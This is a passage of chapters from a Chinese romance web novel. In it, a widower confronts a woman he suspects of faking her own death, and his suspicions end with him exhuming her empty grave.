第二天。 菘蓝一醒来就听到了一个好消息。 白楚年要回港城了。 早餐的时候,菘蓝胃口大开,开心地吃了两份牛排。 一个佣人捧着礼盒走到菘蓝身边,看着她道: “少夫人,白少爷今天要回港城,中午有个送别宴,老爷子让我们也过去。” 菘蓝听完,毫不犹豫地点了点头。 真好,吃完这顿饭,他们以后再也不见! 随后,菘蓝看向佣人手上礼盒,好奇地问道:“这是什么?” 佣人:“少夫人,这是白少爷送给您的礼物。” 菘蓝怔愣了一下,“礼物?” 白楚年送她礼物干嘛? 佣人打开了礼盒,柔软的锦缎上躺着一条烟绿色的长裙。 裙子的款式很好看,面料有些特殊,是用莲花茎抽丝制作成的,极尽繁复奢华。 莲花丝做的布料,薄如蝉翼,一寸万金。 佣人夸赞道:“白少爷真会挑,少夫人您皮肤白,穿绿色好看!” 听闻,菘蓝眸光闪了闪,心里突然有些不安。 在白家的时候,白楚年就说她穿绿色很好看,给她订做了一堆绿色的裙子。 孔雀绿、松花绿、薄荷绿..... 什么样的绿都有。 看着盒子里的礼裙,菘蓝不自觉地攥紧了手心。 哪个正常男人会给朋友的妻子送裙子? 白楚年到底是几个意思? 难道他已经看出了什么,想试探她? 第三十五章 让他死心 一种强烈的不安在心底蔓延。 菘蓝面无表情地摸了摸礼裙,裙子的长度、胸围、腰围、臀围,完全是按照她身体的尺寸订做的。 在白家的时候,白楚年最喜欢给她订做裙子。 她的尺寸,他了如指掌。 佣人看见菘蓝目不转睛地盯着裙子,便问道:“少夫人,您今天要穿这件裙子吗?” 菘蓝摇了摇头。 这条裙子当然不能穿。 裙子可以不穿,但送别宴必须要去。 白楚年那个死狐狸已经对她起了疑心,她不能再躲避,不然他会一直纠缠不休。 只有彻底打消他的猜测,才能让他死心。 ** 送别宴依旧设在迎松楼。 菘蓝穿了一条简单的白色露肩长裙,肩部又披了一条杏色的薄纱,薄纱从右肩绕过脖颈垂到左臂,遮住了左半边身子。 身姿影影绰绰,让人看不真切。 白楚年看到菘蓝没穿那条绿色的裙子,眼底掠过一抹失望。 上菜的时候,他假装随意地询问水云居的佣人: “我送的礼物,不合你们少夫人心意吗?” 佣人回答道:“少夫人很喜欢那条裙子,只是试穿的时候发现有点小,让人送去改尺寸了。” 听完,白楚年垂着眸子,默然不语,指尖有一下没一下地敲击着桌面。 宴席的菜肴很丰富。 白楚年一直暗中观察着菘蓝的一举一动。 哪道菜她没碰,哪道菜她多夹了几筷子,他心里都记得清清楚楚。 宴席的最后一道菜是花生乳酪甜汤。 厚厚的奶皮裹着浓郁的花生香味,在紫砂锅里翻涌出醇厚的甜蜜。 菘蓝看着咕嘟咕嘟冒着热气的奶白色甜汤,心底暗暗发笑。 终于来了。 她早就调查过,宴会的菜单里没有这道甜品,花生乳酪汤是白楚年让人加的。 白楚年果然是在试探她。 李婉对花生过敏,她在白家的时候也从来不吃花生味的东西。 刚嫁进白家的时候,她为了打消猜忌,故意不小心吃了花生,导致身体过敏,起了红疹。 其实她是对草莓过敏,在吃花生之前,她偷偷吃了一颗草莓。 花生乳酪甜汤端上来的时候,佣人给每个人都盛了一小碗。 白楚年的目光意无意地飘向菘蓝,想看看她会不会喝那碗甜汤。 菘蓝知道白楚年在偷偷观察她,心底一阵冷笑。 李婉是对花生过敏,可她,并不是李婉。 菘蓝很随意地舀了一勺甜汤,然后夸赞道: “嗯,这甜汤味道不错,乳酪很香,花生味很浓。” 几勺子下去,花生乳酪甜喝了大半碗。 菘蓝吃得香甜。 白楚年眼神黯了黯,唇角微微下垂,静默地坐在轮椅上。 他藏在袖中的掌心逐渐缩紧,脸上闪过一抹自嘲和悲戚。 他在期待什么..... 他真是疯魔了。 她死了!不可能还活着!更不可能成了其他人! 看到白楚年怅然若失的样子,菘蓝嘴角勾起一抹笑意,她故意道: “白先生,这花生乳酪甜汤味道不错,你赶紧趁热尝尝。” 白楚年眼眶微微发红,他木讷地点了点头,喝了一小勺。 甜汤温热,却一路凉到了心里。 这顿宴席,白楚年吃的很沉默,吃的味同嚼蜡。 他垂着眼帘,手心虚握,指尖绷紧,整个人透着一种深深的无力感。 不过这顿饭,菘蓝却吃得异常开心。 相信吃完这顿饭,白楚年真的要回家了。 宴席后,众人散去。 天空下起了淅淅沥沥的小雨。 菘蓝也撑伞离开。 雨珠在青石板上到处乱蹦,古色古香的沈园笼罩在淡淡的雨雾中,很有诗意。 白楚年默默看着菘蓝离去的背影,目光死寂。 他有些自虐地坐在雨中,空落落的眼底没有一丝情绪。 保镖撑开伞,罩在他头顶,白楚年摆了摆手,拨动轮椅独自驶进雨幕。 雨水很快打湿了他的长发和青色的绸衫,秋雨很冷,冻得他唇色发白。 “请等一下。” 白楚年还是没忍住,冲着菘蓝喊了一声。 菘蓝回头,看到白楚年坐在雨中。 他秀美的脸上凝了一层细密的水珠,微微泛着银光,身上的衣服已经湿透,正往下滴着水。 雨中的白楚年,像一幅充满破碎感的画作,美得令人心疼。 菘蓝停下脚步,看着他道:“你还有事?” 白楚年拨动轮椅,缓缓驶到菘蓝的面前道:“我.....应该跟你说句抱歉。” 雨越下越大。 地上起了一层白色的雨雾。 菘蓝撑伞罩着白楚年,两人一站一坐,挨得很近。 她垂下眉眼,问道:“为什么要跟我说抱歉?” 白楚年轻轻滚动了一下喉结:“我,我送你的那条裙子,其实有我的私心。” 菘蓝没说话,静静地听着。 白楚年:“我妻子喜欢绿色,生前经常穿绿色的裙子,她穿绿色很好看,清清冷冷的,像夏日的凉风。” 菘蓝莫名其妙地看了白楚年一眼。 她什么喜欢绿色了? 喜欢绿色的人不是你吗? 菘蓝冷着小脸,语气生硬道: “所以,你送我绿色的裙子,是把我当成了她的替身?” 白楚年肩膀微微垮塌,像是被抽光了所有力气,他唇角扯出一抹惨然的笑意: “不是,我只是太想看到她了,就算只是一个相似的背影......” 菘蓝眸光闪了闪: “我能理解你的心情,可你不该这样.....” 白楚年点了点头,承认道:“是的,我知道这样不对,你是你,她是她......” 听到白楚年这样说,菘蓝瞬间安心了。 很好,看来已经彻底打消他的猜忌了。 菘蓝看向一脸歉意的白楚年,抿了抿唇:“没事。” 白楚年凝视着菘蓝的侧脸,目光温柔似水,语气平静道: “你以后可以跟沈错来港城找我玩,我带你们去维港看落日,去铜湾吃宵夜。 我们港城的秋天很美,枫香树红叶招摇,三角梅像瀑布一样从墙头垂到地上。 豆豆上的幼儿园有颗古老的枫树,风一吹,遍地火红。” 听着听着,菘蓝思绪纷飞,仿佛回到了两年前的秋天。 那时候,她经常和白楚年去幼儿园接豆豆。 三人走在街头,身后枫叶飞舞。 豆豆不喜欢喊她嫂子,喜欢喊她小婉。 每次豆豆喊她小婉,她都不应,豆豆就一遍一遍地喊,直到喊到她应声为止。 白楚年看着神色沉浸的菘蓝,眸光微动。 他模仿豆豆的声音,试探性地喊了一声:“小婉?” 第三十六章 别来惹我 恍惚中。 陷入回忆的菘蓝听到豆豆喊她,下意识想要回应,话到嘴边,突然顿住。 不对! 不能回应! 菘蓝视线微微一抬,精准地从白楚年的眼中捕捉到一丝期待。 该死! 果然是试探!差点着了这死狐狸的道了! 还好她及时反应过来了,不然就完蛋了。 菘蓝攥紧手心,脊背涌上一阵寒意,她生生将嘴边的“欸”字咽了下去,假装没听见那声呼唤。 看到菘蓝没有反应,白楚年的心像石头一样不停地下坠.....下坠..... 一直到沉入冰冷黑暗的水底。 他又错了吗...... 白楚年偏着头,清雅出尘的脸一片惨白,黑色的长发被雨水打湿,像墨一样在绸衣上晕染开。 在极致的黑与白的对撞下,凄哀的像一只绝望的鬼。 雨点烦乱地敲击着伞面,菘蓝垂着眸子,遮住略微心虚的目光。 她收回伞,一脸平静道: “雨越下越大了,我该回去了,以后要是有空,我会跟阿错去港城找你玩。” 白楚年是个危险人物,她还是赶紧远离。 说完,菘蓝撑着伞,头也不回地走进了雨中。 连绵的雨雾将两人隔开,白楚年静默地坐在雨中,他缓缓伸出手,想要抓住什么,最终什么也没有抓到。 ** 下午,雨停了,但白楚年却没有回港城。 他病了,淋雨引发了肺炎,高烧到40度,沈家急急忙忙把他送进了医院。 听到这个消息,菘蓝在心里暗骂。 死狐狸!就不能回去再病吗! 也不知道这死狐狸是不是故意的。 看着窗外的雨幕,菘蓝单手托腮,喃喃道:“不过,他应该已经死心了。” “死心?什么死心?” 沈错从门外走了进来,他穿着黑色风衣,身形落拓,看到菘蓝眉间染着愁绪,往沙发上沉沉一坐。 “我不在的这两天,有人来烦你?” 菘蓝心头一惊,想着多一事不如少一事,连忙扯开话题。 她挑了挑眉,走到沈错面前,一把将他推到沙发里,用手拽着他的领带,语气娇纵: “你先别说话,我要审审你!” 沈错连忙举起手,做投降状。 “好的老婆,我接受审查。” 菘蓝眯了眯眼,跨坐在沈错的大腿上,像小狗一样嗅了嗅他的衣服。 一股凛冽清新的冷泉香,闻起来有点上头。 菘蓝看着他笑:“唷,有香水味呀。” 听出某人语气不对劲,沈错连忙举手高喊: “冤枉啊老婆,这是男士香水,不是你想的那样,你不要误会我!” 菘蓝点点头:“我知道呀,第一次见面的时候,你在婚礼上喷的就是这个香水。” 沈错竖起大拇指,夸赞道:“老婆大人明察秋毫!” 菘蓝眼尾上扬,拽着沈错脖颈的领带狠狠往下一拉。 “男人会往身上喷香水,要么是要去见重要的人,要么是想掩盖什么味道。” 香风扑鼻,佳人卧膝。 沈错的眼底却闪过一抹心虚。 菘蓝柔柔地攀附在沈错的耳畔,对着他的耳朵吹了一口气,笑得一脸温柔: “说,你是哪一种。” 她笑得很温柔,但声音却冷硬如铁,莫得半分感情。 差点被白楚年摆了一道,菘蓝现在的心情很不好,某人好死不死地正撞到了枪口上。 她一肚子气正没地方撒呢。 “哪种都不是。” 沈错扯了扯唇角,矢口否认。 他顺势圈住菘蓝的腰,两人呼吸缠绕,彼此都能感受到对方的心跳。 菘蓝轻浅的呼吸,像羽毛一样轻轻剐蹭着沈错的神经。 他感觉心里痒痒的。 “说谎!” 菘蓝抬手捏住沈错的下巴,像女王一样审视着身前的男人。 狗东西,还在狡辩,明明是怕她闻出其他女人的味道。 沈错睫毛颤了颤。 他确实说了谎,他身上沾了血,喷香水是想要压住身上的血腥味。 看着沈错闪烁的眸光,菘蓝的心莫名痛了一下,攥着领带的手突然松开了。 她垂着眼,嘴角抿得笔直。 她突然觉得自己很没意思。 她这是在干什么,搞得像质问丈夫出轨的妻子一样。 她也是神经了。 她质问这些多余的事情干什么。 菘蓝默默从沈错身上下来,微垂着手腕,眉宇一片平静。 她前一秒还是一只张牙舞爪的小猫,后一秒就像一只泄了气的皮球。 她不再看着沈错,她没有再说一句话,只是默默起身离开。 “你去哪?” 沈错看到菘蓝转身,突然感觉心里有一块东西被抽走了,有些空落落的。 他本来还有点期待。 期待菘蓝带着醋意质问他是不是在外面拈花惹草了。 结果她问到一半突然不问了。 沈错一把拽住菘蓝的手腕,追问道:“你怎么.....怎么不问了?你不是有很多事情想问我吗?” 他急了。 他想要看她冲他发火。 他想要她质问他。 他需要强烈的情绪来证明她的心里有他。 菘蓝甩开沈错的手,冲他回眸一笑,“没什么好问的呀,刚刚逗你玩呢。” 她的语气平平淡淡。 沈错却有点慌了。 她确实平静他越是害怕。 沈错强硬地拽住菘蓝,将自己的领带塞进她手里,目光灼灼地盯着她道: “那你继续逗我啊.....” 男人的眼底露出一丝期待。 菘蓝拧了拧眉,推开沈错,骂了一句:“神经病!” 沈错:“......” 听到菘蓝骂他,沈错突然笑了。 他扯开唇角,笑得一脸灿烂。 菘蓝看到沈错莫名其妙地笑了,没好气道:“沈错,你是不是有受虐倾向啊,不找人骂你一顿,你心里不舒服?” 沈错没说话,紧紧抱住菘蓝的腰,贴在她的后背,轻声笑道:“对,我有受虐倾向,所以你可以满足我吗?” 菘蓝:“.......” 原来人在无语的时候真的会很无语。 这他妈是什么人啊! 居然自己想要找虐! 菘蓝不想再跟沈错纠缠,板着小脸道:“沈错,我今天心情很不好,你不要再来惹我了!” 说完,她转身走向卧室,顺手关上了房间门。 第三十七章 他有点失控 眼看门要关上。 沈错眸光一闪,用手肘挡住门缝,强硬地掰开了门。 他好看的瑞凤眼噙着柔光,笑眯眯道:“老婆,别生气嘛。” 菘蓝漠然地看了沈错一眼:“我没生气啊,我气什么?” 她仰着头,睁着黑白分明的眼睛,眸中流露出一种着事不关己的通透和冷静。 看到菘蓝的样子,沈错抿了抿唇,心头突然涌上一阵密密麻麻的酸涩。 他最怕她这种疏离感。 明明离得这么近,又好像离得很远。 沈错突然有些烦躁,呼吸变得短促而浅。 他强硬地抓住菘蓝的手,声音急促地解释道: “老婆,不是你想的那样,我没有在外面乱搞,喷香水是为了掩盖血腥味。” 他刚才一直不解释,是等着她质问他,想看她误会吃醋。 结果事情没有按照他预想的发生....... 他有点玩脱了。 菘蓝本来不想理他,但还是没忍住怼了一句:“掩盖什么血腥味,你杀人了?” 沈错不说话了,他抿着唇角,坦然地看着菘蓝,眸子黑黑沉沉,晦如深海。 菘蓝微微拧了拧眉,心头莫名涌上一股寒意。 这人...... 有些怪怪的。 趁菘蓝走神,沈错牵起她的手,温柔地在她手背上落下一个吻。 “老婆,我的心很小,只能容得下你一个人。 你,是我的全部。” 突如其来的深情告白让菘蓝一阵肉麻。 她宁愿相信世界上有鬼,也不信男人的嘴。 你的心小? 你的心大着呢,不知道装了多少个心上人。 尽管内心疯狂吐槽,菘蓝的脸上却扬起一抹笑意,她像是解开了心结一样,声音轻快道: “好,我相信你~” 她一边说,一边把手抽走,还悄摸擦了擦手背。 沈错注意到她擦手背的动作,眸光微不可察地闪了闪。 她.....不喜欢他的触碰。 甚至讨厌。 沈错垂着眉眼,心绪繁杂,脑子里不由自主地想起菘蓝跟周正安在一起的画面。 “我出去抽根烟.....” 知道菘蓝不喜欢烟味,沈错很自觉地走出了房间。 他沉着脸从烟盒中抽出一根烟,然后抬头看了眼阴暗低沉的天空。 天色发灰,挤满了厚重的雨云,让人感觉十分压抑。 沈错捏着烟,神色清冷,他闷闷地吸了一口烟,偏头冲着身边的人道: “去查一下,她跟周正安的过往。” “好的,少爷。” 本来他不想调查,但还是没忍住。 他不想调查是因为害怕真调查出什么。 可是不调查,心里又一直耿耿于怀。 雨还在下,雨点像跳珠一样砸在屋檐上,发出噼里啪啦的脆响,吵的人心烦意乱。 沈错夹着烟,抽了两口,苦淡的青白色烟雾升腾而起。 尼古丁带来的愉悦瞬间将他的烦躁和焦虑一扫而空。 可是,他依旧觉得有些空落落的。 他总感觉缺了什么,他想用更加浓烈、更加极致的东西,来狠狠填满躁动空虚的心。 沈错垂着眸子,面无表情地摁灭了刚吸了两口的烟。 他的目光透过窗户,落在那道纤细的身影上,眼底浮现出一抹癫狂和渴望。 卧室里,菘蓝窝在沙发上看手机。 突然,房门打开,涌进一股冰冷的雨味和烟的苦味。 穿着黑色风衣的沈错站在门口,他微微低着头,额前的碎发遮住了眼眸,看不清神色。 菘蓝看着男人,缓缓皱眉。 这人又怎么了? 没等菘蓝反应过来,沈错快步上前,狠狠将她压倒在沙发上。 他像一头扑食的野狼,想把眼前的猎物狠狠撕碎,拆吃入腹,填满饥饿和空虚的肚子。 “你......唔.....” 菘蓝一张口,想要说的话就被沈错吃进了肚子里。 沈错紧紧擒住她的手,箍着她的腰肢,吻的又凶又霸道。 他一想到她疏离的眼神,一想到她讨厌他的触碰,一想到她跟周正安之间可能有什么。 他就不受控制地开始烦躁。 她是他的!她是他命中注定的人!他也只有她了! 他好像只有靠近她,紧紧抱着她,狠狠吻她,才能安静下来。 菘蓝很气,被强吻的感觉很难受。 她拼命扭动身体反抗,但毫无用处,男人的力气太大了,她的挣扎宛如蚍蜉撼树。 气急败坏的菘蓝没有办法,狠狠咬了沈错一口。 舌尖的疼痛和血腥味瞬间在口腔里蔓延,沈错的理智瞬间归拢,但依旧舍不得放开怀里的人。 他睫毛颤了颤,睁着猩红的双眼,声音喑哑道: “让我抱一会,我什么都可以答应你。” 菘蓝本想破口大骂,听到这话,突然顿住,然后转悠着眼珠子道:“行,那你要答应我一件事。” 听闻,沈错眉心一压,“什么事?” 菘蓝:“以后不要派人跟着我,明里暗里都不行,我这个人喜欢自由。” 沈错:“好!” 双方达成交易,菘蓝也不挣扎了,放软身体,任由沈错抱着。 沈错也没再干什么,只是紧紧抱着菘蓝,像确认她的真实存在一样,感受着她的体温和心跳。 ** 下午,雨晴了,沈错也离开了水云居。 天上的乌云散去,阳光重新照耀大地,空气很清新,散发着泥土和青草的芬芳。 菘蓝推开窗户,迎着阳光,舒服地伸了个懒腰。 等下她就可以自由行动了。 她争取早日把事情调查清楚,然后拿钱跑路! 沈园这个鬼地方,她是一刻也不想呆了。 下午三点,菘蓝换了身衣服,去花园散心。 沈错很守信用,没派任何人跟着她。 菘蓝出了水云居,一路向西,特意绕开了白楚年居住的客宅。 听说白楚年要在沈园修养几天,等感冒好了再回港城。 她绕远一点,应该就不会碰到了。 然而,老天爷好像偏偏跟菘蓝作对。 她越是不想见到谁,就越会见到谁。 菘蓝转过花廊,刚要穿过庭院,突然看到前方有个人影。 那人坐在凉亭里,面前放着一把古琴。 看清人影后,菘蓝嘴角抽了抽,有点无语。 白楚年这死狐狸不是生病了吗,不好好在床上躺着,怎么跑到外面弹琴? 与此同时,白楚年也看到了菘蓝,但他好像一点也不意外。 他冲着菘蓝微微一笑,然后低头抚琴。 琴声悦耳,曲调轻柔婉转,宛如山间清泉流水,叮啷作响。 菘蓝听着听着,突然觉得曲调十分耳熟。 好像是她以前随口编的摇篮曲。 白楚年弹完一曲,抬眸看向菘蓝,似有深意地问道: “沈少夫人,你听过这首曲子吗?” 听闻,菘蓝心头顿时一紧。 据她对白楚年的了解,他不会做多余的事情,也不会问多余的话。 今天专门在这里堵她,还问她这种问题,明摆着还想试探她。 该死,她到底哪里露了破绽,让这死狐狸一直死咬着不放。 第三十八章 这下真麻烦了 菘蓝突然想起,那天晚上,她哄岁岁睡觉的时候,哼了首摇篮曲。 以前她在白家的时候,也是这样哄白豆豆睡觉的。 难道..... 那天,她哄岁岁睡觉的时候,白楚年在水云居附近? 白楚年见菘蓝一直不说话,好看的狐狸眼微微眯起。 他一直盯着菘蓝的脸,不放过她任何细微的表情。 菘蓝是伪装高手,她不仅能依靠化妆,把自己仿成他人的样子,还能精准地控制面部的微表情。 一个人紧张和心虚的时候,视线会明显偏离主体,不自觉地看向一侧或者下方。 脸部肌肉会不自然地紧绷,或者出现轻微的颤抖。 但是菘蓝特殊训练过,不管心里有多乱,她面部的肌肉状态始终是自然轻松的。 不管撒了多大的谎,她都能坦然地直视别人的眼睛。 就好像,她真的没有说过谎,没有骗过人。 白楚年没在菘蓝脸上看到自己想要的表情,微微有些失望。 可是他又不甘心,沉默了几秒后,缓缓开口道:“沈少夫人,我一直有件事想要问你。” 菘蓝心头一凛。 来了! 该来的果然逃不掉。 白楚年:“我刚刚弹的那首曲子,是我夫人在世时自创的曲调,可为什么昨天晚上,我听到你也在唱这首歌?” 他的语气很轻很缓,可目光却像钉子一样,把菘蓝牢牢钉在原地。 听完,菘蓝眨巴眨巴眼睛,装作很惊讶道: “呀!原来这首曲子是你夫人创作的呀?我今天才知道呢。 这首小调是我无意间听到别人传唱,然后学会的。 嗯,这种很有韵律的小调传唱度极高,很多人喜欢呢,你夫人真有才!” 白楚年拧了拧眉,菘蓝的回答有些牵强。 港城距离海都十万八千里,婉婉几乎不玩社交软件,平时也很少出门,这首曲子是怎么传到海都的? 但是,他又无法反驳。 白楚年不说话了。 他抱着琴,沉默地坐在轮椅上。 凉风吹过,白楚年低头咳嗽了两声,脸上浮现一抹病态的白。 “咳咳.....咳咳.....” 咳嗽声越来越大。 他用手捂着嘴角,喉咙涌上一股腥甜。 鲜红的血沫从指尖溢出,像雪地的红梅,十分刺眼。 “少爷!快吃药!” 身旁的保镖见状,连忙递给白楚年一个小瓶子。 白楚年确实生病了,那晚他淋了雨,回去就发烧感冒,随后又引发了旧疾,身体情况非常糟糕。 但他仅仅在医院住了一晚,就回了沈园。 白家的保镖们慌得手忙脚乱。 趁没人注意,菘蓝连忙转身悄悄离开。 但是她不知道,白楚年眼角的余光一直落在她的身上。 看到那抹倩影悄悄离去,白楚年不知道为什么,心头兀地一痛,顿时喘不过气。 “咳咳.....咳咳.....” 白楚年咳得更凶了,血沫顺着嘴角蜿蜒到下颌,看得人触目惊心。 “少爷!不能再拖了!您旧疾复发,必须赶紧回到港城接受治疗!” 保镖担忧地看着白楚年,慌不择言道: “少爷,你该醒醒了!少夫人早就不在了! 她只是跟少夫人有点像而已,她不可能也不会是少夫人!我们不能在这里浪费时间了!” 白楚年垂着手腕,静静听着,神色颓然。 他的眼底漆黑、沉冷、绝望、看不到一缕光。 他默默看着菘蓝越走越远,嘴角勾起一抹无奈的自嘲。 是啊..... 一切都是他的妄想罢了...... 他也是疯了。 然而,就在此时,一个白色的身影突然从枝头跃下,扑到了菘蓝怀里。 “啊~” 菘蓝下意识惊呼了一声,然后定睛一看,发现手臂上趴着一只毛茸茸的小白貂。 小家伙眼睛红红的,举着前爪,冲着菘蓝开心地吱吱叫。 看到怀里的小家伙,菘蓝的脑瓜子嗡得一声炸了。 小白! “哎呀,对不起,少爷,我们没有看好小白,让它从笼子里跑出来了!” 白楚年的贴身佣人从不远处跑来,手里提着一个空空的小笼子。 小白是白楚年养的一只雪貂,通体雪白,极有灵性。 白楚年从港城过来的时候,也顺便把雪貂带来了海都。 只是沈老爷子对动物皮毛过敏,所以小白就一直被养在外宅,每天关在笼子里,不让它出来。 “吱吱吱.....” 小白在菘蓝的肩膀上跑来跑去,它还时不时用小脑袋拱拱菘蓝,模样很是亲昵。 菘蓝则是僵硬地站在原地,攥出一手心的冷汗。 完蛋,她被小白认出来了! 看到这一幕,白楚年瞳孔骤缩,呼吸瞬间变得急促凌乱,心头涌起一阵骇浪。 小白性格高冷,敏锐机警,从不肯让陌生人接近。 它只对熟悉的人展露出活泼开朗的一面。 人可能会认错人,但动物不会! 雪貂的嗅觉是人类的几十倍。 它不会认错自己熟悉的气味。 所以...... 白楚年看向菘蓝,双手攥得指尖发白,他像发现猎物踪迹的猎人,眼底迸发出亮得惊人的光。 看到白楚年明显的表情变化,菘蓝眼皮猛地一跳。 该死!这下事情麻烦了! 她好不容易才打消白楚年的疑心,现在一朝回到解放前...... “吱吱......吱吱.....” 小雪貂趴在菘蓝怀里,冲菘蓝吱吱直叫,想让她像以前那样给自己顺毛。 但菘蓝哪敢回应它,只好假装听不懂。 小雪貂发现菘蓝不理自己,有点生气,转过身拿屁股对着她,身体缩成了一个气鼓鼓的小雪球。 看到这一幕,菘蓝很是无语。 这小玩意给她惹了个大麻烦,该生气的人明明是她好吗! “轱辘.....轱辘......” 耳畔响起一阵滚轮与地面摩擦的声音。 菘蓝一抬眼,发现白楚年正拨动轮椅,朝着她缓缓而来。 他的目光死死地盯着她,眸底翻涌着炽热的烈火,几乎要将她焚烧。 面对来势汹汹的白楚年,菘蓝顿时心跳如鼓,下意识后退了一步。 麻烦了,她这下真麻烦了! 第三十九章 回去挖坟 “咳咳咳......” 白楚年心神激荡,背脊猛地一颤,咳了满手的血。 他抹去唇角的血迹,目光灼灼地看着菘蓝:“你,到底是谁?” 菘蓝睫毛颤了颤,努力保持镇定,大脑开始疯狂运转,思考该如何周旋。 片刻后,她轻抿了一下唇,目露迷惑道: “白先生,你该不会是烧糊涂导致失忆了吧?我是沈家的少夫人啊.....” 白楚年拧着眉,狭长的狐狸眼闪着幽光,他摇了摇头,否定道: “不,你说谎。” 菘蓝抬起脸,冷眸相对,回怼道: “你这人也真是好笑,我不是沈少夫人难道你是? 还是说,你又把我当成了李婉? 如果你有病,那就去治!不要出来乱咬人!” 菘蓝发火了,她语气很凶,说话很不客气。 她现在的性格脾气跟李婉一点也不像。 李婉脾气极好,十分温柔,从不跟人急眼,就算再生气,说话也是柔柔的。 白楚年定定看着发脾气的菘蓝,目光缠绕在她身上,眼神专注得可怕。 趴在菘蓝怀里的小雪貂,昂起毛茸茸的小脑袋,亲昵地蹭来蹭去。 一副求摸摸求抱抱的样子。 白楚年注意到雪貂的动作,眼神瞬间变得锐利,像发现了猎物的猎人。 他缓缓开口道: “小白是我跟婉婉一起养大的宠物,它性格高冷,从不让别人靠近。 可它一看到你,就缠着跟你亲近,沈少夫人,你能解释一下这是为什么吗?” 动物跟人不一样,它们是通过气味识别人的。 不管主人的模样如何变化,它们都能认得出来。 他目光笃定地看着菘蓝,犀利的眼神仿佛能透视人心,让人无法抗拒,无法逃避。 园子里一片寂静。 片刻后,菘蓝笑了笑,把手伸进了口袋,掏出一把瓜子。 雪貂看到她手心的瓜子,顿时两眼放光,到她手心,哼哧哼哧嗑了起来。 “诺,这小家伙缠着我,是因为它肚子饿了呀,它应该是闻到我身上有瓜子的味道,想找我要吃的。” 说完,菘蓝伸手摸了摸雪貂的小脑袋:“你看,它吃的多开心呀?” 她垂着头,掩住眼底一闪而过的狡黠。 反正小白也不会说话,更不可能冲着她喊婉婉。 随便找个理由搪塞过去就完事了。 还好她口袋里还有没嗑完的瓜子。 白楚年愣愣地看着吃瓜子的雪貂,久久说不出话。 他那凄风苦雨的眼眸黯了下去,眼底那抹失而复得的狂喜,消失的无影无踪...... 菘蓝把雪貂还给白楚年,语气认真道: “白先生,请你不要再把我跟你的妻子扯在一起了,这是对我的不尊重,也是对你亡妻的不尊重。” 她刻意把“亡妻”两个字说的很重。 说完,菘蓝不再废话,决绝地转身离去。 “亡妻”两个字,像一柄锋利的刀子插进了白楚年的心脏,把他最后一点幻想搅成了一团血雾。 是啊...... 他的婉婉已经死了,不可能还活着。 他还在幻想什么呢...... 白楚年呆呆坐在轮椅上,心一寸寸冷了下去,他垂着眸子,陷入了回忆。 他想起了婉婉去世的那一天。 那一天,下了好大的雨。 他的婉婉闭着眼睛,躺在他的怀里,她的裙子上全是血,身体冷得像一块冰。 “吱吱....吱吱.....” 小雪貂看到菘蓝走了,在白楚年怀里急得团团转,它一会看看菘蓝,一会看看白楚年。 它犹豫地甩了甩尾巴,轻轻咬了一下白楚年的衣角,冲着菘蓝离开的方向吱吱直叫,示意他追上去。 白楚年低垂着头,难过地摸了摸小雪貂的脑袋: “她没有瓜子给你吃了。” 小雪貂愣了一下,从他的膝盖跳到肩膀上,急得吱吱直叫。 “吱吱吱.....吱吱吱......” “少爷,小白是不是又饿了。” 佣人拿了一块熟牛肉喂小白,结果它看都不看一眼,跳到地上,恋恋不舍地看着菘蓝离去的方向。 看着貂儿反常的行为,白楚年心头一动,眸光乍起。 雪貂根本不饿,它一开始就不是冲着瓜子去的..... 他看向身旁的保镖,吩咐道:“准备一下,我们下午回港城。” 保镖有些惊讶:“啊?您不是要在海都多住几天吗?” 白楚年眼底掠过一抹冷意:“不住了,我要回去确认一件事情,一件非常重要的事情。” ** 下午,菘蓝听到了一个好消息。 白楚年要回港城了。 她开心地拎着裙摆在院子里转了好几个圈。 太好了,那讨人厌的死狐狸终于要走了! 四点钟的时候,众人目送白楚年上了车。 上车前,白楚年看了菘蓝一眼,唇起唇角,冲她意味不明地笑了一下。 那笑容怪怪的,让人心里有点发毛。 “再见。” 他朝菘蓝挥了挥手,狭长的狐狸眼眸光流转。 嗯,他们还会再见的。 菘蓝心头莫名一寒,再什么见啊,再也不见!永远不见! ........... 飞机快速穿越云层。 暮色沉沉的时候,白楚年回到了港都。 古老的维多利亚港湾吞吐着夜色,远航的船只亮起了星星点点的灯火。 白楚年站在码头,看了一眼隐在夜色中的焚香山。 那里,葬着他的亡妻。 保镖:“少爷,去焚香山的车已经备好了,您是要去祭拜少夫人吗?” 白楚年摇了摇头,嘴角露出一抹疯狂的笑意: “不,不是祭拜,我是要去挖坟!” 第四十章 她死遁了 港城,焚香山。 冷风中,白楚年披着狐裘坐在轮椅上,如墨的长发散在脑后随风飘舞。 他半边脸隐在焚香山的夜色里,目光灼灼地盯着前方的墓碑。 他双手攥得指尖泛白,神经紧绷成线,心跳声砸得整个胸腔都在震动。 他期待又害怕。 他期待揭晓答案,可是又害怕猜错了,落得镜花水月一场空。 “吱吱.....” 小雪貂感受到白楚年不安的情绪,跳到他的肩膀上,用毛茸茸的脑袋蹭了蹭他的脸。 白楚年摸了摸雪貂柔顺的皮毛,抬眸看向黑色的墓碑,缓缓吐出一个字: “挖!” 一声令下,十几个人挥舞着铁锹和锄头一拥而上。 泥土翻飞,土腥味和焚烧的檀香味交织在一起,揉进焚香山悠长的夜色里。 供桌上的檀香寸寸燃烧,淡紫色的烟缓缓爬上白楚年的衣角。 土越挖越深,檀香越烧越短,深埋在地下的棺木露出黝黑的板面。 一滴雨水从天而降,不偏不倚地落在白楚年的眼尾。 港城下雨了。 细细密密的夜雨,将焚香山锁在水雾里。 保镖撑开黑色的大伞,白楚年摆了摆手。 他不需要。 这雨根本浇不灭他沸腾灼热的心。 半个小时后,棺木被挖出,稳稳当当地搁置在地上。 雨水噼里啪啦,敲打着厚重的棺盖。 天空降下一道惊雷,青色的闪电在众人头顶劈响。 电闪雷鸣之中,白楚年深深看了棺木一眼,决然道:“开棺!” “呼啦.....” 呼啦一声,众人合力之下,沉重的棺盖被缓缓推开。 正如他所料。 这是一口空棺。 里面空荡荡的,没有腐烂的尸身,也没有森森的白骨,角落里长着一些不知名的菌类,散发着木头的腐味。 “少爷!少夫人她!” 看着空空如也的棺材,众人呆住了。 天呐!惊天大瓜啊! 少夫人她没死! “哈哈哈......” 白楚年嘴角疯狂上扬,他仰头淋着雨,笑得像个疯子。 呵呵,没有错!果真没有错! 保镖紧张地看着白楚年,讷讷道: “少夫人没死,那少夫人去哪了?被李家藏起来了?” 白楚年冷笑了两声:“呵呵,我知道她在哪。” 好啊,他真是被骗的好惨啊,他从来没有被人骗得这么惨过。 他绝对饶不了李家,也绕不了那个小骗子 ** 